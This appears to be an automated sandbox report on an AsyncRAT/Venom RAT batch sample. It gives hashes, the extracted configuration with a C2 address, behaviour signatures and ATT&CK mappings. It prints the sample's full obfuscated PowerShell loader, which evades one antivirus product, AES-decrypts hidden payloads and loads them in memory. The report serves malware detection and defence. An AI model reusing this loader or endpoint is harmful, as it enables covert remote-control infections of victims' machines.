asyncrat | 1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad

Analysis

max time kernel
148s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 15:12

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General

Target
xx.bat
Size 65KB
Sample240508-sk6eksad5z
SHA256 1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad
MD5 963ce568ecee6a43389e1e12b60f325a
SHA1 2cbf2183bf67d7d2eeb98366ab9702e23e4d7c30
SHA512 18c2c8dd7a1336cbd18c1d0e6659f47a8718492f37c1224c3348391b97b3c15e74108e293f2777323cec7bde6a645243a409d2d000b9b94bc7b71d4ee7ae8554
SSDEEP 1536:BNnIoXnDA1Chiapd336sy2r0z1k7Ew2Gr1lwtnLYT8ki:BRIGAA336sy2rSk7Ew2Gr1lKT
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.222.96.143:4449

Mutex

bkfcocpkfci

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4988-34-0x0000018829440000-0x0000018829458000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	4988	powershell.exe
17	4988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1292	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4988	powershell.exe
4988	powershell.exe
1292	powershell.exe
1292	powershell.exe
4988	powershell.exe
4988	powershell.exe
4988	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4988	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1060 wrote to memory of 4344	1060	cmd.exe	84
PID 1060 wrote to memory of 4344	1060	cmd.exe	84
PID 4344 wrote to memory of 4484	4344	cmd.exe	86
PID 4344 wrote to memory of 4484	4344	cmd.exe	86
PID 4344 wrote to memory of 4988	4344	cmd.exe	87
PID 4344 wrote to memory of 4988	4344	cmd.exe	87
PID 4988 wrote to memory of 1292	4988	powershell.exe	91
PID 4988 wrote to memory of 1292	4988	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xx.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\xx.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\xx.bat';$BMbC='RsHpUesHpUadLsHpUinsHpUesHpUssHpU'.Replace('sHpU', ''),'CCFZsreCFZsatCFZseDCFZsecCFZsrCFZsyCFZspCFZstCFZsorCFZs'.Replace('CFZs', ''),'FrBDpromBDprBBDpraBDprseBDpr6BDpr4SBDprtrBDpriBDprngBDpr'.Replace('BDpr', ''),'ChAmxTanAmxTgAmxTeEAmxTxtAmxTensAmxTiAmxTonAmxT'.Replace('AmxT', ''),'DMtvCecMtvComMtvCprMtvCeMtvCsMtvCsMtvC'.Replace('MtvC', ''),'LCapfoaCapfdCapf'.Replace('Capf', ''),'ISAmunSAmuvokSAmueSAmu'.Replace('SAmu', ''),'MawqArinMwqArowqArduwqArlewqAr'.Replace('wqAr', ''),'GetKwgmCuKwgmrreKwgmntKwgmPKwgmrocKwgmessKwgm'.Replace('Kwgm', ''),'SplMBlVitMBlV'.Replace('MBlV', ''),'ElayXCemayXCeayXCnayXCtayXCAtayXC'.Replace('ayXC', ''),'TVQktranVQktsVQktforVQktmFiVQktnaVQktlVQktBVQktloVQktcVQktkVQkt'.Replace('VQkt', ''),'EnXNnYtXNnYrXNnYyPoXNnYintXNnY'.Replace('XNnY', ''),'ComQwwpyTmQwwomQww'.Replace('mQww', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BMbC[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function zlGLC($RSWKX){$GVeOl=[System.Security.Cryptography.Aes]::Create();$GVeOl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GVeOl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GVeOl.Key=[System.Convert]::($BMbC[2])('uY6F5j209xASZjaoUU93vCCXVRY+Y6fGH5LCH0uNzYo=');$GVeOl.IV=[System.Convert]::($BMbC[2])('iwvv8vpAhw35q7w8nU7OXw==');$QznTD=$GVeOl.($BMbC[1])();$RHHCU=$QznTD.($BMbC[11])($RSWKX,0,$RSWKX.Length);$QznTD.Dispose();$GVeOl.Dispose();$RHHCU;}function lfrrO($RSWKX){$kKatK=New-Object System.IO.MemoryStream(,$RSWKX);$EyOwi=New-Object System.IO.MemoryStream;$oJtRR=New-Object System.IO.Compression.GZipStream($kKatK,[IO.Compression.CompressionMode]::($BMbC[4]));$oJtRR.($BMbC[13])($EyOwi);$oJtRR.Dispose();$kKatK.Dispose();$EyOwi.Dispose();$EyOwi.ToArray();}$FYWBz=[System.IO.File]::($BMbC[0])([Console]::Title);$QpMEc=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 5).Substring(2))));$IyoFy=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 6).Substring(2))));[System.Reflection.Assembly]::($BMbC[5])([byte[]]$IyoFy).($BMbC[12]).($BMbC[6])($null,$null);[System.Reflection.Assembly]::($BMbC[5])([byte[]]$QpMEc).($BMbC[12]).($BMbC[6])($null,$null); "
    3⤵
    PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_0roluvrx.503.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0roluvrx.503.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1292-24-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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memory/1292-29-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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memory/1292-26-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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memory/1292-25-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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memory/4988-12-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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memory/4988-14-0x0000018829560000-0x00000188295D6000-memory.dmp

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memory/4988-13-0x0000018829490000-0x00000188294D4000-memory.dmp

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memory/4988-0-0x00007FF83E493000-0x00007FF83E495000-memory.dmp

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memory/4988-11-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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memory/4988-10-0x0000018828630000-0x0000018828652000-memory.dmp

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memory/4988-30-0x0000018829210000-0x000001882921A000-memory.dmp

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memory/4988-33-0x0000018829220000-0x0000018829230000-memory.dmp

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memory/4988-32-0x00007FF85B380000-0x00007FF85B43E000-memory.dmp

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memory/4988-34-0x0000018829440000-0x0000018829458000-memory.dmp

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memory/4988-31-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

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memory/4988-40-0x00007FF83E493000-0x00007FF83E495000-memory.dmp

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memory/4988-41-0x00007FF83E490000-0x00007FF83EF51000-memory.dmp

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